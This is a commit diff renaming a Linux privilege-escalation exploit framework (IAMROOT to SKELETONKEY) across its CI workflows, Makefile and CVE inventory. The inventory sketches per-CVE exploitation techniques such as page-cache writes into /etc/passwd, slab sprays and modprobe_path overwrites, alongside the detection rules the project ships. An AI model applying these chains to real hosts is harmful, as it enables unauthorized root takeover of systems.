rename: IAMROOT → SKELETONKEY across the entire project

Breaking change. Tool name, binary name, function/type names, constant names, env vars, header guards, file paths, and GitHub repo URL all rebrand IAMROOT → SKELETONKEY. Changes: - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum values, docs, comments) - All "iamroot" → "skeletonkey" (functions, types, paths, CLI) - iamroot.c → skeletonkey.c - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h} - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh - Binary "iamroot" → "skeletonkey" - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY - .gitignore now expects build output named "skeletonkey" - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-* - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_* New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow SKELETONKEY block letters) replaces the IAMROOT banner in skeletonkey.c and README.md. VERSION: 0.3.1 → 0.4.0 (breaking). Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0. All 24 modules still register; no functional code changes — pure rename + banner refresh.
v0.3.1: --dump-offsets tool + NOTICE.md per module
2026-05-16 22:43:49 -04:00 · 2026-05-16 22:33:43 -04:00 · 2026-05-16 22:25:15 -04:00 · 2026-05-16 22:24:15 -04:00 · 2026-05-16 22:17:47 -04:00 · 2026-05-16 22:06:14 -04:00
105 changed files with 8776 additions and 1272 deletions
@@ -37,22 +37,22 @@ jobs:
            make
          fi

-      - name: sanity — iamroot --version
-        run: ./iamroot --version
+      - name: sanity — skeletonkey --version
+        run: ./skeletonkey --version

-      - name: sanity — iamroot --list
-        run: ./iamroot --list
+      - name: sanity — skeletonkey --list
+        run: ./skeletonkey --list

-      - name: sanity — iamroot --scan (no exploit; just detect)
-        run: ./iamroot --scan --no-color || true
+      - name: sanity — skeletonkey --scan (no exploit; just detect)
+        run: ./skeletonkey --scan --no-color || true
        # exit code may be nonzero (vulnerable host = exit 2, missing
        # precond = exit 4) — that's diagnostic data, not CI failure

      - name: sanity — --detect-rules auditd
-        run: ./iamroot --detect-rules --format=auditd | head -50
+        run: ./skeletonkey --detect-rules --format=auditd | head -50

      - name: sanity — --detect-rules sigma
-        run: ./iamroot --detect-rules --format=sigma | head -50
+        run: ./skeletonkey --detect-rules --format=sigma | head -50

  # Static build job: ensures the project links cleanly when -static is
  # requested. Useful for deployment to minimal containers / fleet scans
@@ -75,7 +75,7 @@ jobs:
        # gate the merge on it. Migrate to musl-gcc when we want a
        # truly portable static binary.
        continue-on-error: true
-        run: make static && ls -la iamroot
+        run: make static && ls -la skeletonkey

  # Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
  # the binary against a VM running a specific (vulnerable or patched)
@@ -7,7 +7,7 @@ name: release
 # Maintainer flow:
 #   git tag v0.1.0
 #   git push origin v0.1.0
-#   → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
+#   → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64

 on:
  push:
@@ -44,20 +44,20 @@ jobs:
          CC: ${{ matrix.cc }}
        run: |
          make
-          file iamroot
-          ls -la iamroot
+          file skeletonkey
+          ls -la skeletonkey

      - name: rename + checksum
        run: |
-          mv iamroot iamroot-${{ matrix.target }}
-          sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
+          mv skeletonkey skeletonkey-${{ matrix.target }}
+          sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256

      - uses: actions/upload-artifact@v4
        with:
-          name: iamroot-${{ matrix.target }}
+          name: skeletonkey-${{ matrix.target }}
          path: |
-            iamroot-${{ matrix.target }}
-            iamroot-${{ matrix.target }}.sha256
+            skeletonkey-${{ matrix.target }}
+            skeletonkey-${{ matrix.target }}.sha256

  release:
    needs: build
@@ -72,7 +72,7 @@ jobs:
      - name: flatten artifacts
        run: |
          find dist -type f -exec mv {} . \;
-          ls -la iamroot-*
+          ls -la skeletonkey-*

      - name: collect release notes
        id: notes
@@ -81,16 +81,16 @@ jobs:
          echo "tag=$tag" >> "$GITHUB_OUTPUT"
          # Pull the latest entry from CVES.md / ROADMAP.md for the body
          {
-            echo "## IAMROOT $tag"
+            echo "## SKELETONKEY $tag"
            echo
            echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
            echo
            echo "### Install"
            echo
            echo '```bash'
-            echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
-            echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
-            echo "iamroot --version"
+            echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
+            echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
+            echo "skeletonkey --version"
            echo '```'
            echo
            echo "Or one-shot via the install script:"
@@ -109,12 +109,12 @@ jobs:
        uses: softprops/action-gh-release@v2
        with:
          tag_name: ${{ steps.notes.outputs.tag }}
-          name: IAMROOT ${{ steps.notes.outputs.tag }}
+          name: SKELETONKEY ${{ steps.notes.outputs.tag }}
          body_path: release-notes.md
          files: |
-            iamroot-x86_64
-            iamroot-x86_64.sha256
-            iamroot-arm64
-            iamroot-arm64.sha256
+            skeletonkey-x86_64
+            skeletonkey-x86_64.sha256
+            skeletonkey-arm64
+            skeletonkey-arm64.sha256
            install.sh
          fail_on_unmatched_files: false   # install.sh may not exist at first tag
@@ -5,7 +5,7 @@ build/
 *.dSYM/
 modules/*/build/
 modules/*/dirtyfail
-modules/*/iamroot
+modules/*/skeletonkey
 .vscode/
 .idea/
 *.swp
@@ -1,6 +1,6 @@
 # CVE inventory

-The curated list of CVEs IAMROOT exploits, with patch status and
+The curated list of CVEs SKELETONKEY exploits, with patch status and
 module status. Updated as new modules land or as upstream patches
 ship.

@@ -8,22 +8,31 @@ Status legend:

 - 🟢 **WORKING** — module verified to land root on a vulnerable host
 - 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
-  + empirical witness) on a vulnerable host, but stops short of the
-  full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly;
-  useful as a vuln-verification probe and a continuation point for
-  full chains. Per-kernel offsets deliberately not shipped.
+  + empirical witness) on a vulnerable host. By default returns
+  `EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain`
+  to additionally attempt root pop via the shared `modprobe_path`
+  finisher (`core/finisher.{c,h}`) — requires kernel offsets via
+  env vars / `/proc/kallsyms` / `/boot/System.map`; see
+  [`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns
+  `EXPLOIT_OK` and drops a root shell; on failure returns
+  `EXPLOIT_FAIL` — never claims root without an empirical
+  setuid-bash sentinel.
 - 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
-  exploit. (No module is currently in this state — every registered
-  module now fires either a full chain or a primitive.)
+  exploit. (No module is currently in this state.)
 - ⚪ **PLANNED** — stub exists, work not started
 - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
  historical reference only

-**Counts (v0.1.0):** 🟢 13 · 🟡 7 · 🔵 0 · ⚪ 1 · 🔴 0
+**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
+
+Every module ships a `NOTICE.md` crediting the original CVE
+reporter and PoC author. `skeletonkey --dump-offsets` populates the
+embedded offset table for new kernel builds — operators with
+root on a host can upstream their kernel's offsets via PR.

 ## Inventory

-| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
+| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
 |---|---|---|---|---|---|---|
 | CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
 | CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -31,9 +40,9 @@ Status legend:
 | CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
 | (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
 | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
-| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
+| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
 | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
-| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
+| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
 | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
 | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
 | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -42,10 +51,14 @@ Status legend:
 | CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
 | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
 | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
-| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
+| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
 | CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
 | CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
-| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
+| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
+| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
+| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
+| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
+| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
 | CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |

 ## Operations supported per module
@@ -74,6 +87,10 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
 | af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
 | fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
 | stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
+| nft_set_uaf | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
+| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
+| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
+| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |

 ## Pipeline for additions

@@ -96,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module.
 ## Why we exclude some things

 - **0-days the maintainer found themselves**: those go through
-  responsible disclosure first, then enter IAMROOT after upstream patch
+  responsible disclosure first, then enter SKELETONKEY after upstream patch
 - **kCTF VRP submissions in flight**: same as above; disclosure
  before bundling
 - **Hardware-specific side channels** (Spectre/Meltdown variants):
@@ -1,15 +1,15 @@
-# IAMROOT — top-level Makefile (Phase 1)
+# SKELETONKEY — top-level Makefile (Phase 1)
 #
-# Builds one binary `iamroot` linked from:
+# Builds one binary `skeletonkey` linked from:
 #   - core/         module interface + registry
 #   - modules/<f>/  one family per subdir, contributes objects to the
 #                   final binary
-#   - iamroot.c     top-level dispatcher
+#   - skeletonkey.c     top-level dispatcher
 #
 # Each family is currently flat (Phase 1 keeps copy_fail_family's
 # absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
 # Future families register the same way: add their register_* call to
-# iamroot.c's main() and add their src dir to MODULE_DIRS below.
+# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.

 CC      ?= gcc
 CFLAGS  ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
@@ -17,99 +17,119 @@ CFLAGS  ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
 LDFLAGS ?=

 BUILD   := build
-BIN     := iamroot
+BIN     := skeletonkey

 # core/
-CORE_SRCS := core/registry.c core/kernel_range.c
+CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
 CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))

 # Family: copy_fail_family
-# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
+# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
 CFF_DIR  := modules/copy_fail_family
-CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
-# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
+CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
+# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
 CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
 CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))

 # Family: dirty_pipe (single-CVE family, no shared infrastructure)
 DP_DIR   := modules/dirty_pipe_cve_2022_0847
-DP_SRCS  := $(DP_DIR)/iamroot_modules.c
+DP_SRCS  := $(DP_DIR)/skeletonkey_modules.c
 DP_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))

 # Family: entrybleed (single-CVE family, x86_64 only)
 EB_DIR   := modules/entrybleed_cve_2023_0458
-EB_SRCS  := $(EB_DIR)/iamroot_modules.c
+EB_SRCS  := $(EB_DIR)/skeletonkey_modules.c
 EB_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))

 # Family: pwnkit (userspace polkit bug, not kernel)
 PK_DIR   := modules/pwnkit_cve_2021_4034
-PK_SRCS  := $(PK_DIR)/iamroot_modules.c
+PK_SRCS  := $(PK_DIR)/skeletonkey_modules.c
 PK_OBJS  := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))

 # Family: nf_tables (CVE-2024-1086)
 NFT_DIR  := modules/nf_tables_cve_2024_1086
-NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
+NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
 NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))

 # Family: overlayfs (CVE-2021-3493)
 OVL_DIR  := modules/overlayfs_cve_2021_3493
-OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
+OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
 OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))

 # Family: cls_route4 (CVE-2022-2588)
 CR4_DIR  := modules/cls_route4_cve_2022_2588
-CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
+CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
 CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))

 # Family: dirty_cow (CVE-2016-5195) — requires -pthread
 DCOW_DIR  := modules/dirty_cow_cve_2016_5195
-DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
+DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
 DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))

 # Family: ptrace_traceme (CVE-2019-13272)
 PTM_DIR  := modules/ptrace_traceme_cve_2019_13272
-PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
+PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
 PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))

 # Family: netfilter_xtcompat (CVE-2021-22555)
 NXC_DIR  := modules/netfilter_xtcompat_cve_2021_22555
-NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
+NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
 NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))

 # Family: af_packet (CVE-2017-7308)
 AFP_DIR  := modules/af_packet_cve_2017_7308
-AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
+AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
 AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))

 # Family: fuse_legacy (CVE-2022-0185)
 FUL_DIR  := modules/fuse_legacy_cve_2022_0185
-FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
+FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
 FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))

 # Family: stackrot (CVE-2023-3269)
 STR_DIR  := modules/stackrot_cve_2023_3269
-STR_SRCS := $(STR_DIR)/iamroot_modules.c
+STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
 STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))

 # Family: af_packet2 (CVE-2020-14386) — same family as af_packet
 AFP2_DIR  := modules/af_packet2_cve_2020_14386
-AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
+AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
 AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))

 # Family: cgroup_release_agent (CVE-2022-0492)
 CRA_DIR  := modules/cgroup_release_agent_cve_2022_0492
-CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
+CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
 CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))

 # Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
 OSU_DIR  := modules/overlayfs_setuid_cve_2023_0386
-OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
+OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
 OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))

-# Top-level dispatcher
-TOP_OBJ  := $(BUILD)/iamroot.o
+# Family: nft_set_uaf (CVE-2023-32233)
+NSU_DIR  := modules/nft_set_uaf_cve_2023_32233
+NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
+NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))

-ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS)
+# Family: af_unix_gc (CVE-2023-4622)
+AUG_DIR  := modules/af_unix_gc_cve_2023_4622
+AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
+AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
+
+# Family: nft_fwd_dup (CVE-2022-25636)
+NFD_DIR  := modules/nft_fwd_dup_cve_2022_25636
+NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
+NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
+
+# Family: nft_payload (CVE-2023-0179)
+NPL_DIR  := modules/nft_payload_cve_2023_0179
+NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
+NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
+
+# Top-level dispatcher
+TOP_OBJ  := $(BUILD)/skeletonkey.o
+
